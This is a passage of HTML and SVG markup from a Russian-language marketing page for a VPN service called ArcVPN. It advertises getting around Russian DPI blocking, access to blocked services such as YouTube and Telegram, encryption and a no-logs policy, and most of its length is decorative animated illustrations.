</div>\n            </div>\n            <!-- right: illustration -->\n            <div class=\"hero-illu rv dl3\">\n                <svg viewBox=\"0 0 500 440\" xmlns=\"http://www.w3.org/2000/svg\" style=\"width:100%;max-width:500px;height:auto\">\n                    <defs>\n                        <radialGradient id=\"sh-fill\" cx=\"38%\" cy=\"22%\" r=\"72%\">\n                            <stop offset=\"0%\" stop-color=\"rgba(147,197,253,.32)\" />\n                            <stop offset=\"42%\" stop-color=\"rgba(37,99,235,.18)\" />\n                            <stop offset=\"100%\" stop-color=\"rgba(30,58,138,.04)\" />\n                        </radialGradient>\n                        <linearGradient id=\"sh-stroke\" x1=\"30%\" y1=\"0%\" x2=\"70%\" y2=\"100%\">\n                            <stop offset=\"0%\" stop-color=\"rgba(96,165,250,.85)\" />\n                            <stop offset=\"100%\" stop-color=\"rgba(37,99,235,.22)\" />\n                        </linearGradient>\n                        <clipPath id=\"sh-clip\">\n                            <path d=\"M250 98 L346 142 L346 216 Q346 294 250 328 Q154 294 154 216 L154 142 Z\" />\n                        </clipPath>\n                        <filter id=\"sh-glow\" x=\"-80%\" y=\"-80%\" width=\"260%\" height=\"260%\">\n                            <feGaussianBlur stdDeviation=\"7\" result=\"b\" />\n                            <feMerge>\n                                <feMergeNode in=\"b\" />\n                                <feMergeNode in=\"SourceGraphic\" />\n                            </feMerge>\n                        </filter>\n                        <filter id=\"sh-sm\" x=\"-50%\" y=\"-50%\" width=\"200%\" height=\"200%\">\n                            <feGaussianBlur stdDeviation=\"3.5\" result=\"b\" />\n                            <feMerge>\n                                <feMergeNode in=\"b\" />\n                                <feMergeNode in=\"SourceGraphic\" />\n                            </feMerge>\n                        </filter>\n                        <filter id=\"sh-big\" x=\"-120%\" y=\"-120%\" width=\"340%\" height=\"340%\">\n                            <feGaussianBlur stdDeviation=\"14\" result=\"b\" />\n                            <feMerge>\n                                <feMergeNode in=\"b\" />\n                                <feMergeNode in=\"SourceGraphic\" />\n                            </feMerge>\n                        </filter>\n                    </defs><!-- outer pulse rings -->\n                    <circle cx=\"250\" cy=\"213\" r=\"155\" fill=\"none\" stroke=\"rgba(37,99,235,.12)\" stroke-width=\"1\">\n                        <animate attributeName=\"r\" values=\"148;182;148\" dur=\"7s\" repeatCount=\"indefinite\" calcMode=\"spline\" keySplines=\".4 0 .6 1;.4 0 .6 1\" />\n                        <animate attributeName=\"stroke-opacity\" values=\".12;0;.12\" dur=\"7s\" repeatCount=\"indefinite\" />\n                    </circle>\n                    <circle cx=\"250\" cy=\"213\" r=\"125\" fill=\"none\" stroke=\"rgba(34,211,238,.08)\" stroke-width=\"1\">\n                        <animate attributeName=\"r\" values=\"115;148;115\" dur=\"5s\" begin=\"-2s\" repeatCount=\"indefinite\" calcMode=\"spline\" keySplines=\".4 0 .6 1;.4 0 .6 1\" />\n                        <animate attributeName=\"stroke-opacity\" values=\".08;0;.08\" dur=\"5s\" begin=\"-2s\" repeatCount=\"indefinite\" />\n                    </circle><!-- rotating dashed rings -->\n                    <circle cx=\"250\" cy=\"213\" r=\"172\" fill=\"none\" stroke=\"rgba(37,99,235,.16)\" stroke-width=\"1\" stroke-dasharray=\"6 14\">\n                        <animateTransform attributeName=\"transform\" type=\"rotate\" from=\"0 250 213\" to=\"360 250 213\" dur=\"32s\" repeatCount=\"indefinite\" />\n                    </circle>\n                    <circle cx=\"250\" cy=\"213\" r=\"194\" fill=\"none\" stroke=\"rgba(34,211,238,.09)\" stroke-width=\"1\" stroke-dasharray=\"4 18\">\n                        <animateTransform attributeName=\"transform\" type=\"rotate\" from=\"0 250 213\" to=\"-360 250 213\" dur=\"48s\" repeatCount=\"indefinite\" />\n                    </circle><!-- orbit ellipses -->\n                    <ellipse id=\"sorb1\" cx=\"250\" cy=\"213\" rx=\"168\" ry=\"70\" fill=\"none\" stroke=\"rgba(37,99,235,.2)\" stroke-width=\"1\" transform=\"rotate(-8 250 213)\" stroke-dasharray=\"3 8\" />\n                    <ellipse id=\"sorb2\" cx=\"250\" cy=\"213\" rx=\"205\" ry=\"82\" fill=\"none\" stroke=\"rgba(34,211,238,.12)\" stroke-width=\"1\" transform=\"rotate(32 250 213)\" stroke-dasharray=\"3 10\" />\n                    <ellipse id=\"sorb3\" cx=\"250\" cy=\"213\" rx=\"112\" ry=\"182\" fill=\"none\" stroke=\"rgba(96,165,250,.08)\" stroke-width=\"1\" transform=\"rotate(14 250 213)\" stroke-dasharray=\"3 12\" /><!-- shield glow bg -->\n                    <path d=\"M250 98 L346 142 L346 216 Q346 294 250 328 Q154 294 154 216 L154 142 Z\" fill=\"rgba(37,99,235,.06)\" filter=\"url(#sh-big)\" /><!-- shield body -->\n                    <path d=\"M250 98 L346 142 L346 216 Q346 294 250 328 Q154 294 154 216 L154 142 Z\" fill=\"url(#sh-fill)\" stroke=\"url(#sh-stroke)\" stroke-width=\"2\" stroke-linejoin=\"round\" /><!-- hex grid inside shield -->\n                    <g clip-path=\"url(#sh-clip)\" fill=\"none\" stroke=\"rgba(96,165,250,.065)\" stroke-width=\".8\">\n                        <path d=\"M250 108 L264 116 L264 132 L250 140 L236 132 L236 116 Z\" />\n                        <path d=\"M278 132 L292 140 L292 156 L278 164 L264 156 L264 140 Z\" />\n                        <path d=\"M222 132 L236 140 L236 156 L222 164 L208 156 L208 140 Z\" />\n                        <path d=\"M250 156 L264 164 L264 180 L250 188 L236 180 L236 164 Z\" />\n                        <path d=\"M278 180 L292 188 L292 204 L278 212 L264 204 L264 188 Z\" />\n                        <path d=\"M222 180 L236 188 L236 204 L222 212 L208 204 L208 188 Z\" />\n                        <path d=\"M250 204 L264 212 L264 228 L250 236 L236 228 L236 212 Z\" />\n                        <path d=\"M278 228 L292 236 L292 252 L278 260 L264 252 L264 236 Z\" />\n                        <path d=\"M222 228 L236 236 L236 252 L222 260 L208 252 L208 236 Z\" />\n                        <path d=\"M250 252 L264 260 L264 276 L250 284 L236 276 L236 260 Z\" />\n                    </g><!-- scan beam inside shield -->\n                    <line x1=\"154\" y1=\"180\" x2=\"346\" y2=\"180\" clip-path=\"url(#sh-clip)\" stroke=\"rgba(96,165,250,.18)\" stroke-width=\"28\">\n                        <animate attributeName=\"y1\" values=\"120;330;120\" dur=\"4.5s\" repeatCount=\"indefinite\" calcMode=\"spline\" keySplines=\".42 0 .58 1;.42 0 .58 1\" />\n                        <animate attributeName=\"y2\" values=\"120;330;120\" dur=\"4.5s\" repeatCount=\"indefinite\" calcMode=\"spline\" keySplines=\".42 0 .58 1;.42 0 .58 1\" />\n                        <animate attributeName=\"stroke-opacity\" values=\".18;.03;.18\" dur=\"4.5s\" repeatCount=\"indefinite\" />\n                    </line>\n                    <line x1=\"154\" y1=\"180\" x2=\"346\" y2=\"180\" clip-path=\"url(#sh-clip)\" stroke=\"rgba(147,197,253,.7)\" stroke-width=\"1.5\">\n                        <animate attributeName=\"y1\" values=\"120;330;120\" dur=\"4.5s\" repeatCount=\"indefinite\" calcMode=\"spline\" keySplines=\".42 0 .58 1;.42 0 .58 1\" />\n                        <animate attributeName=\"y2\" values=\"120;330;120\" dur=\"4.5s\" repeatCount=\"indefinite\" calcMode=\"spline\" keySplines=\".42 0 .58 1;.42 0 .58 1\" />\n                        <animate attributeName=\"stroke-opacity\" values=\".7;.1;.7\" dur=\"4.5s\" repeatCount=\"indefinite\" />\n                    </line><!-- inner shield highlight -->\n                    <path d=\"M250 112 L333 152 L333 198\" fill=\"none\" stroke=\"rgba(147,197,253,.14)\" stroke-width=\"16\" stroke-linecap=\"round\" stroke-linejoin=\"round\" /><!-- lock body -->\n                    <g transform=\"translate(250,215)\">\n                        <rect x=\"-24\" y=\"-9\" width=\"48\" height=\"34\" rx=\"7\" fill=\"rgba(37,99,235,.22)\" stroke=\"rgba(96,165,250,.58)\" stroke-width=\"1.8\" />\n                        <path d=\"M-14 -9V-24a14 14 0 0128 0v15\" fill=\"none\" stroke=\"rgba(96,165,250,.55)\" stroke-width=\"1.8\" stroke-linecap=\"round\" />\n                        <circle cx=\"0\" cy=\"9\" r=\"5.5\" fill=\"rgba(96,165,250,.28)\" stroke=\"rgba(147,197,253,.65)\" stroke-width=\"1.5\" />\n                        <line x1=\"0\" y1=\"12\" x2=\"0\" y2=\"20\" stroke=\"rgba(147,197,253,.5)\" stroke-width=\"2.2\" stroke-linecap=\"round\" />\n                        <circle cx=\"0\" cy=\"9\" r=\"5.5\" fill=\"none\" stroke=\"rgba(147,197,253,.5)\" stroke-width=\"2\">\n                            <animate attributeName=\"r\" values=\"5.5;11;5.5\" dur=\"2.8s\" repeatCount=\"indefinite\" calcMode=\"spline\" keySplines=\".4 0 .6 1;.4 0 .6 1\" />\n                            <animate attributeName=\"stroke-opacity\" values=\".5;0;.5\" dur=\"2.8s\" repeatCount=\"indefinite\" />\n                        </circle>\n                    </g><!-- laptop node (left) -->\n                    <g transform=\"translate(76,112)\">\n                        <circle r=\"32\" fill=\"rgba(37,99,235,.09)\" stroke=\"rgba(37,99,235,.28)\" stroke-width=\"1.2\" />\n                        <rect x=\"-14\" y=\"-13\" width=\"28\" height=\"19\" rx=\"2.5\" fill=\"none\" stroke=\"rgba(96,165,250,.7)\" stroke-width=\"1.5\" />\n                        <line x1=\"-8\" y1=\"-7\" x2=\"8\" y2=\"-7\" stroke=\"rgba(96,165,250,.32)\" stroke-width=\"1\" />\n                        <line x1=\"-8\" y1=\"-3\" x2=\"4\" y2=\"-3\" stroke=\"rgba(96,165,250,.2)\" stroke-width=\"1\" />\n                        <rect x=\"-16\" y=\"6\" width=\"32\" height=\"3\" rx=\"1\" fill=\"rgba(96,165,250,.25)\" />\n                    </g><!-- server node (right) -->\n                    <g transform=\"translate(424,112)\">\n                        <circle r=\"32\" fill=\"rgba(52,211,153,.08)\" stroke=\"rgba(52,211,153,.22)\" stroke-width=\"1.2\" />\n                        <rect x=\"-14\" y=\"-12\" width=\"28\" height=\"10\" rx=\"2\" fill=\"none\" stroke=\"rgba(52,211,153,.65)\" stroke-width=\"1.5\" />\n                        <rect x=\"-14\" y=\"2\" width=\"28\" height=\"10\" rx=\"2\" fill=\"none\" stroke=\"rgba(52,211,153,.65)\" stroke-width=\"1.5\" />\n                        <circle cx=\"9\" cy=\"-7\" r=\"2\" fill=\"rgba(52,211,153,.65)\" />\n                        <circle cx=\"9\" cy=\"7\" r=\"2\" fill=\"rgba(52,211,153,.65)\" />\n                        <circle cx=\"9\" cy=\"-7\" r=\"2\" fill=\"none\" stroke=\"rgba(52,211,153,.6)\" stroke-width=\"2\">\n                            <animate attributeName=\"r\" values=\"2;6;2\" dur=\"2.2s\" repeatCount=\"indefinite\" calcMode=\"spline\" keySplines=\".4 0 .6 1;.4 0 .6 1\" />\n                            <animate attributeName=\"stroke-opacity\" values=\".6;0;.6\" dur=\"2.2s\" repeatCount=\"indefinite\" />\n                        </circle>\n                    </g><!-- globe node (bottom) -->\n                    <g transform=\"translate(250,384)\">\n                        <circle r=\"32\" fill=\"rgba(34,211,238,.06)\" stroke=\"rgba(34,211,238,.2)\" stroke-width=\"1.2\" />\n                        <circle cx=\"0\" cy=\"0\" r=\"15\" fill=\"none\" stroke=\"rgba(34,211,238,.62)\" stroke-width=\"1.5\" />\n                        <ellipse cx=\"0\" cy=\"0\" rx=\"6\" ry=\"15\" fill=\"none\" stroke=\"rgba(34,211,238,.45)\" stroke-width=\"1.2\" />\n                        <line x1=\"-15\" y1=\"0\" x2=\"15\" y2=\"0\" stroke=\"rgba(34,211,238,.4)\" stroke-width=\"1.2\" />\n                        <line x1=\"-13\" y1=\"-7\" x2=\"13\" y2=\"-7\" stroke=\"rgba(34,211,238,.25)\" stroke-width=\"1\" />\n                        <line x1=\"-13\" y1=\"7\" x2=\"13\" y2=\"7\" stroke=\"rgba(34,211,238,.25)\" stroke-width=\"1\" />\n                    </g>\n                </svg>\n                <!-- remove below old content placeholder -->\n                <div class=\"net-nodes\" style=\"display:none\">\n                    <!-- user -->\n                    <div class=\"nn\">\n                        <div class=\"nn-box nn-b\">\n                            <svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                <rect x=\"2\" y=\"4\" width=\"20\" height=\"14\" rx=\"2\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                                <path d=\"M8 21h8M12 18v3\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" />\n                                <path d=\"M6 8h12\" stroke=\"currentColor\" stroke-width=\"1\" stroke-opacity=\".5\" />\n                            </svg>\n                        </div>\n                        <div class=\"nn-lbl\">Вы</div>\n                    </div>\n                    <!-- conn 1: user -> TSPU -->\n                    <div class=\"nconn\">\n                        <div class=\"nline nl-enc\">\n                            <div class=\"ndot nd-g\"></div>\n                            <div class=\"ndot nd-g2\"></div>\n                        </div>\n                        <div class=\"nconn-tag\" style=\"color:rgba(52,211,153,.55)\">TLS 1.3</div>\n                    </div>\n                    <!-- TSPU -->\n                    <div class=\"nn\">\n                        <div class=\"nn-box nn-r\" style=\"position:relative\">\n                            <svg width=\"20\" height=\"20\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                <path d=\"M12 2L4 6v6c0 5.5 3.6 10.7 8 12 4.4-1.3 8-6.5 8-12V6l-8-4z\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                                <path d=\"M9 9l6 6M15 9l-6 6\" stroke=\"currentColor\" stroke-width=\"1.6\" stroke-linecap=\"round\" />\n                            </svg>\n                            <div class=\"nn-badge\">\n                                <svg width=\"7\" height=\"7\" viewBox=\"0 0 8 8\" fill=\"none\">\n                                    <path d=\"M2 2l4 4M6 2L2 6\" stroke=\"white\" stroke-width=\"1.5\" stroke-linecap=\"round\" />\n                                </svg>\n                            </div>\n                        </div>\n                        <div class=\"nn-lbl\">ТСПУ</div>\n                    </div>\n                    <!-- conn 2: TSPU -> ArcVPN (passes through) -->\n                    <div class=\"nconn\">\n                        <div class=\"nline nl-enc\">\n                            <div class=\"ndot nd-g\" style=\"animation-duration:2s\"></div>\n                            <div class=\"ndot nd-g2\" style=\"animation-duration:2s\"></div>\n                        </div>\n                        <div class=\"nconn-tag\" style=\"color:rgba(52,211,153,.4)\">→ проходит</div>\n                    </div>\n                    <!-- ArcVPN server -->\n                    <div class=\"nn\">\n                        <div class=\"nn-box nn-g\" style=\"position:relative\">\n                            <svg width=\"20\" height=\"20\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                <rect x=\"5\" y=\"11\" width=\"14\" height=\"10\" rx=\"2\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                                <path d=\"M8 11V7a4 4 0 018 0v4\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" />\n                                <circle cx=\"12\" cy=\"15.5\" r=\"1.5\" fill=\"currentColor\" />\n                            </svg>\n                            <div class=\"nn-ok\">TLS</div>\n                        </div>\n                        <div class=\"nn-lbl\">ArcVPN</div>\n                    </div>\n                    <!-- conn 3: ArcVPN -> internet -->\n                    <div class=\"nconn\">\n                        <div class=\"nline nl-plain\">\n                            <div class=\"ndot nd-w\"></div>\n                        </div>\n                        <div class=\"nconn-tag\" style=\"color:var(--w18)\">чистый</div>\n                    </div>\n                    <!-- internet -->\n                    <div class=\"nn\">\n                        <div class=\"nn-box nn-c\">\n                            <svg width=\"20\" height=\"20\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                <circle cx=\"12\" cy=\"12\" r=\"9\" stroke=\"currentColor\" stroke-width=\"1.5\" />\n                                <ellipse cx=\"12\" cy=\"12\" rx=\"4.5\" ry=\"9\" stroke=\"currentColor\" stroke-width=\"1.2\" />\n                                <line x1=\"3\" y1=\"12\" x2=\"21\" y2=\"12\" stroke=\"currentColor\" stroke-width=\"1.2\" />\n                                <line x1=\"5.5\" y1=\"7.5\" x2=\"18.5\" y2=\"7.5\" stroke=\"currentColor\" stroke-width=\"1\" />\n                                <line x1=\"5.5\" y1=\"16.5\" x2=\"18.5\" y2=\"16.5\" stroke=\"currentColor\" stroke-width=\"1\" />\n                            </svg>\n                        </div>\n                        <div class=\"nn-lbl\">Сеть</div>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- SERVICES -->\n    <div class=\"services\">\n        <div class=\"svc-inner\">\n            <div class=\"svc-label\">Открывает заблокированные в России сервисы</div>\n            <div class=\"svc-row\">\n                <div class=\"svc-chip\">\n                    <div class=\"svc-ico\" style=\"background:#ff0000\">\n                        <svg width=\"10\" height=\"10\" viewBox=\"0 0 24 24\" fill=\"white\">\n                            <path d=\"M23.5 6.2a3 3 0 00-2.1-2.1C19.5 3.5 12 3.5 12 3.5s-7.5 0-9.4.5A3 3 0 00.5 6.2C0 8.1 0 12 0 12s0 3.9.5 5.8a3 3 0 002.1 2.1C4.5 20.5 12 20.5 12 20.5s7.5 0 9.4-.5a3 3 0 002.1-2.1c.5-1.9.5-5.8.5-5.8s0-3.9-.5-5.8zM9.7 15.5V8.5l6.3 3.5-6.3 3.5z\" />\n                        </svg>\n                    </div>YouTube\n                </div>\n                <div class=\"svc-chip\">\n                    <div class=\"svc-ico\" style=\"background:#5865f2\">\n                        <svg width=\"11\" height=\"11\" viewBox=\"0 0 24 24\" fill=\"white\">\n                            <path d=\"M20.3 4.4A19.7 19.7 0 0015.4 3c-.2.4-.5 1-.7 1.4a18.3 18.3 0 00-5.4 0C9.1 4 8.8 3.4 8.6 3A19.6 19.6 0 003.7 4.4C.5 9.2-.3 13.8.1 18.4A19.8 19.8 0 006 21c.5-.7 1-1.4 1.4-2.2-.8-.3-1.5-.7-2.2-1.1l.5-.4a14.1 14.1 0 0012.2 0c.2.2.4.3.6.4-.7.5-1.5.8-2.2 1.1.4.8.9 1.6 1.4 2.2a19.8 19.8 0 005.9-2.6c.5-5.2-.9-9.8-3.7-13.6zM8 15.5c-1.2 0-2.1-1.1-2.1-2.4 0-1.4.9-2.5 2.1-2.5 1.2 0 2.2 1.1 2.1 2.5 0 1.3-.9 2.4-2.1 2.4zm7.9 0c-1.1 0-2.1-1.1-2.1-2.4 0-1.4.9-2.5 2.1-2.5 1.2 0 2.2 1.1 2.1 2.5 0 1.3-.9 2.4-2.1 2.4z\" />\n                        </svg>\n                    </div>Discord\n                </div>\n                <div class=\"svc-chip\">\n                    <div class=\"svc-ico\" style=\"background:linear-gradient(135deg,#f09433,#e6683c,#dc2743,#cc2366,#bc1888)\">\n                        <svg width=\"10\" height=\"10\" viewBox=\"0 0 24 24\" fill=\"white\">\n                            <path d=\"M12 2.2c3.2 0 3.6 0 4.9.1 3.3.2 4.8 1.7 5 5 .1 1.3.1 1.6.1 4.8s0 3.6-.1 4.8c-.2 3.3-1.7 4.8-5 5-1.3.1-1.6.1-4.9.1s-3.5 0-4.8-.1c-3.3-.2-4.8-1.7-5-5C2.1 15.6 2 15.3 2 12s0-3.5.1-4.8C2.4 3.9 3.9 2.4 7.2 2.3 8.4 2.2 8.8 2.2 12 2.2zm0 4a5.8 5.8 0 100 11.6A5.8 5.8 0 0012 6.2zm0 9.6a3.8 3.8 0 110-7.6 3.8 3.8 0 010 7.6zm6.4-11.1a1.4 1.4 0 100 2.8 1.4 1.4 0 000-2.8z\" />\n                        </svg>\n                    </div>Instagram\n                </div>\n                <div class=\"svc-chip\">\n                    <div class=\"svc-ico\" style=\"background:#2ca5e0\">\n                        <svg width=\"11\" height=\"11\" viewBox=\"0 0 24 24\" fill=\"white\">\n                            <path d=\"M12 0C5.4 0 0 5.4 0 12s5.4 12 12 12 12-5.4 12-12S18.6 0 12 0zm5.9 8.2l-2 9.5c-.1.7-.5.8-1 .5l-2.8-2-1.3 1.3c-.2.2-.3.3-.6.3l.2-2.9 5-4.5c.2-.2 0-.3-.3-.1L6.7 14.5l-2.8-.9c-.6-.2-.6-.6.1-.9L17 7.3c.6-.2 1.1.1.9.9z\" />\n                        </svg>\n                    </div>Telegram\n                </div>\n                <div class=\"svc-chip\">\n                    <div class=\"svc-ico\" style=\"background:#1877f2\">\n                        <svg width=\"10\" height=\"10\" viewBox=\"0 0 24 24\" fill=\"white\">\n                            <path d=\"M24 12.1C24 5.4 18.6 0 12 0S0 5.4 0 12.1c0 6 4.4 11 10.1 12V15.6H7.1v-3.5h3V9.6c0-2.9 1.8-4.6 4.4-4.6 1.3 0 2.6.2 2.6.2v2.9H15.6c-1.4 0-1.9.9-1.9 1.8v2.2h3.2l-.5 3.5h-2.7V24C19.6 23.1 24 18.1 24 12.1z\" />\n                        </svg>\n                    </div>Facebook\n                </div>\n                <div class=\"svc-chip\">\n                    <div class=\"svc-ico\" style=\"background:#25d366\">\n                        <svg width=\"11\" height=\"11\" viewBox=\"0 0 24 24\" fill=\"white\">\n                            <path d=\"M12 2C6.48 2 2 6.48 2 12c0 1.85.5 3.58 1.37 5.07L2 22l5.09-1.34A9.93 9.93 0 0012 22c5.52 0 10-4.48 10-10S17.52 2 12 2zm0 18c-1.7 0-3.28-.5-4.61-1.37l-.33-.2-3.02.8.81-2.96-.22-.34A7.93 7.93 0 014 12c0-4.42 3.58-8 8-8s8 3.58 8 8-3.58 8-8 8zm4.4-6.02c-.24-.12-1.42-.7-1.64-.78-.22-.08-.38-.12-.54.12-.16.24-.62.78-.76.94-.14.16-.28.18-.52.06-.24-.12-1.01-.37-1.93-1.18-.71-.63-1.19-1.41-1.33-1.65-.14-.24-.01-.37.1-.49.11-.11.24-.28.36-.42.12-.14.16-.24.24-.4.08-.16.04-.3-.02-.42-.06-.12-.54-1.3-.74-1.78-.2-.47-.4-.4-.54-.41h-.46c-.16 0-.42.06-.64.3-.22.24-.84.82-.84 2s.86 2.32.98 2.48c.12.16 1.7 2.6 4.12 3.64.58.25 1.03.4 1.38.51.58.18 1.1.16 1.52.1.46-.07 1.42-.58 1.62-1.14.2-.56.2-1.04.14-1.14-.06-.1-.22-.16-.46-.28z\" />\n                        </svg>\n                    </div>WhatsApp\n                </div>\n                <div class=\"svc-chip\" style=\"border-style:dashed;cursor:default\">\n                    <svg width=\"12\" height=\"12\" viewBox=\"0 0 16 16\" fill=\"none\">\n                        <circle cx=\"8\" cy=\"8\" r=\"5.5\" stroke=\"currentColor\" stroke-width=\"1.2\" />\n                        <path d=\"M8 5.5v5M5.5 8h5\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linecap=\"round\" />\n                    </svg>\n                    и ещё 30+\n                </div>\n            </div>\n        </div>\n    </div>\n\n    <!-- FEATURES -->\n    <section class=\"sec\" id=\"features\">\n        <div class=\"sec-glow\"></div>\n        <div class=\"sec-wrap\">\n            <div class=\"sec-head\">\n                <div class=\"sec-kicker rv\">Возможности</div>\n                <h2 class=\"rv dl1\">Создан быть <em class=\"g\">неудержимым</em></h2>\n                <p class=\"sec-sub rv dl2\">Ни одна VPN-сигнатура не попадает в поток данных. Провайдер видит обычный HTTPS-трафик к CDN.</p>\n            </div>\n            <div class=\"feat-grid-wrap\">\n                <div class=\"feat-grid\">\n                    <div class=\"fc rv\">\n                        <div class=\"fc-ico ci-b\"><svg width=\"20\" height=\"20\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                <path d=\"M12 2L4 5v6c0 5.5 3.5 10.7 8 12 4.5-1.3 8-6.5 8-12V5l-8-3z\" stroke=\"currentColor\" stroke-width=\"1.6\" stroke-linejoin=\"round\" />\n                                <path d=\"M9 12l2 2 4-4\" stroke=\"currentColor\" stroke-width=\"1.6\" stroke-linecap=\"round\" stroke-linejoin=\"round\" />\n                            </svg></div>\n                        <div class=\"fc-name\">Обход ТСПУ / DPI</div>\n                        <div class=\"fc-desc\">Аппаратные DPI-комплексы у каждого российского провайдера не обнаруживают ни одной VPN-сигнатуры.</div>\n                    </div>\n                    <div class=\"fc rv dl1\">\n                        <div class=\"fc-ico ci-c\"><svg width=\"20\" height=\"20\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                <path d=\"M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z\" stroke=\"currentColor\" stroke-width=\"1.6\" />\n                                <circle cx=\"12\" cy=\"12\" r=\"3\" stroke=\"currentColor\" stroke-width=\"1.6\" />\n                                <path d=\"M3 3l18 18\" stroke=\"currentColor\" stroke-width=\"1.6\" stroke-linecap=\"round\" />\n                            </svg></div>\n                        <div class=\"fc-name\">Невидим для провайдера</div>\n                        <div class=\"fc-desc\">Трафик имитирует TLS-запросы к крупным CDN. Провайдер видит безобидный HTTPS-поток.</div>\n                    </div>\n                    <div class=\"fc rv dl2\">\n                        <div class=\"fc-ico ci-g\"><svg width=\"20\" height=\"20\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                <path d=\"M13 2L3 14h9l-1 8 10-12h-9l1-8z\" stroke=\"currentColor\" stroke-width=\"1.6\" stroke-linejoin=\"round\" />\n                            </svg></div>\n                        <div class=\"fc-name\">Нулевой оверхед</div>\n                        <div class=\"fc-desc\">Протокол на базе QUIC — менее 5 мс задержки. 4K-стриминг без буферизации.</div>\n                    </div>\n                    <div class=\"fc rv dl1\">\n                        <div class=\"fc-ico ci-p\"><svg width=\"20\" height=\"20\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                <rect x=\"3\" y=\"11\" width=\"18\" height=\"11\" rx=\"2\" stroke=\"currentColor\" stroke-width=\"1.6\" />\n                                <path d=\"M7 11V7a5 5 0 0110 0v4\" stroke=\"currentColor\" stroke-width=\"1.6\" stroke-linecap=\"round\" />\n                                <circle cx=\"12\" cy=\"16\" r=\"1.5\" fill=\"currentColor\" />\n                            </svg></div>\n                        <div class=\"fc-name\">AES-256-GCM</div>\n                        <div class=\"fc-desc\">Военный стандарт + ChaCha20 для мобильных. Полная прямая секретность — каждая сессия независима.</div>\n                    </div>\n                    <div class=\"fc rv dl2\">\n                        <div class=\"fc-ico ci-a\"><svg width=\"20\" height=\"20\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                <path d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2\" stroke=\"currentColor\" stroke-width=\"1.6\" stroke-linecap=\"round\" />\n                                <rect x=\"9\" y=\"3\" width=\"6\" height=\"4\" rx=\"1\" stroke=\"currentColor\" stroke-width=\"1.6\" />\n                                <path d=\"M9 12h6M9 16h4\" stroke=\"currentColor\" stroke-width=\"1.6\" stroke-linecap=\"round\" />\n                            </svg></div>\n                        <div class=\"fc-name\">No-logs политика</div>\n                        <div class=\"fc-desc\">Архитектура физически не позволяет хранить логи. Ni IP, ни DNS, ни timestamp.</div>\n                    </div>\n                    <div class=\"fc rv dl3\">\n                        <div class=\"fc-ico ci-r\"><svg width=\"20\" height=\"20\" viewBox=\"0 0 24 24\" fill=\"currentColor\">\n                                <path d=\"M12 0C5.37 0 0 5.37 0 12c0 5.31 3.435 9.795 8.205 11.385.6.105.825-.255.825-.57 0-.285-.015-1.23-.015-2.235-3.015.555-3.795-.735-4.035-1.41-.135-.345-.72-1.41-1.23-1.695-.42-.225-1.02-.78-.015-.795.945-.015 1.62.87 1.845 1.23 1.08 1.815 2.805 1.305 3.495.99.105-.78.42-1.305.765-1.605-2.67-.3-5.46-1.335-5.46-5.925 0-1.305.465-2.385 1.23-3.225-.12-.3-.54-1.53.12-3.18 0 0 1.005-.315 3.3 1.23.96-.27 1.98-.405 3-.405s2.04.135 3 .405c2.295-1.56 3.3-1.23 3.3-1.23.66 1.65.24 2.88.12 3.18.765.84 1.23 1.905 1.23 3.225 0 4.605-2.805 5.625-5.475 5.925.435.375.81 1.095.81 2.22 0 1.605-.015 2.895-.015 3.3 0 .315.225.69.825.57A12.02 12.02 0 0024 12c0-6.63-5.37-12-12-12z\" />\n                            </svg></div>\n                        <div class=\"fc-name\">Open Source</div>\n                        <div class=\"fc-desc\">Полностью открытый код на GitHub. Соберите сами, проверьте — никаких бэкдоров и телеметрии.</div>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- HOW IT WORKS -->\n    <section class=\"sec sec-dark\" id=\"hiw\">\n        <div class=\"sec-wrap\">\n            <div class=\"hiw-grid\">\n                <div>\n                    <div class=\"sec-kicker rv\">Архитектура</div>\n                    <h2 class=\"rv dl1\">Обход <em class=\"g\">ТСПУ</em></h2>\n                    <p class=\"sec-sub rv dl2\" style=\"margin-bottom:22px\">ТСПУ — аппаратные DPI-комплексы у каждого провайдера. Блокируют по сигнатурам протоколов в реальном времени.</p>\n                    <p class=\"sec-sub rv dl3\" style=\"color:var(--w18)\">ArcVPN применяет <strong style=\"color:var(--w35)\">стеганографическую маскировку</strong> — ни одна VPN-сигнатура не попадает в поток, ТСПУ пропускает трафик как обычный HTTPS.</p>\n                </div>\n                <div>\n                    <!-- hiw illustration -->\n                    <div class=\"hiw-illu rv dl2\">\n                        <svg viewBox=\"0 0 480 260\" xmlns=\"http://www.w3.org/2000/svg\" style=\"width:100%;height:auto\">\n                            <defs>\n                                <filter id=\"hi-glow\" x=\"-80%\" y=\"-80%\" width=\"260%\" height=\"260%\">\n                                    <feGaussianBlur stdDeviation=\"4\" result=\"b\" />\n                                    <feMerge>\n                                        <feMergeNode in=\"b\" />\n                                        <feMergeNode in=\"SourceGraphic\" />\n                                    </feMerge>\n                                </filter>\n                                <path id=\"p-lv\" d=\"M 98,130 L 206,130\" />\n                                <path id=\"p-vg\" d=\"M 274,130 L 382,130\" />\n                            </defs>\n                            <!-- LINE: ВЫ → VPN (blue, encrypted) -->\n                            <line x1=\"98\" y1=\"130\" x2=\"206\" y2=\"130\" stroke=\"rgba(37,99,235,.32)\" stroke-width=\"1.5\" stroke-dasharray=\"5 7\" />\n                            <!-- LINE: VPN → ИНТЕРНЕТ (cyan, open) -->\n                            <line x1=\"274\" y1=\"130\" x2=\"382\" y2=\"130\" stroke=\"rgba(34,211,238,.32)\" stroke-width=\"1.5\" 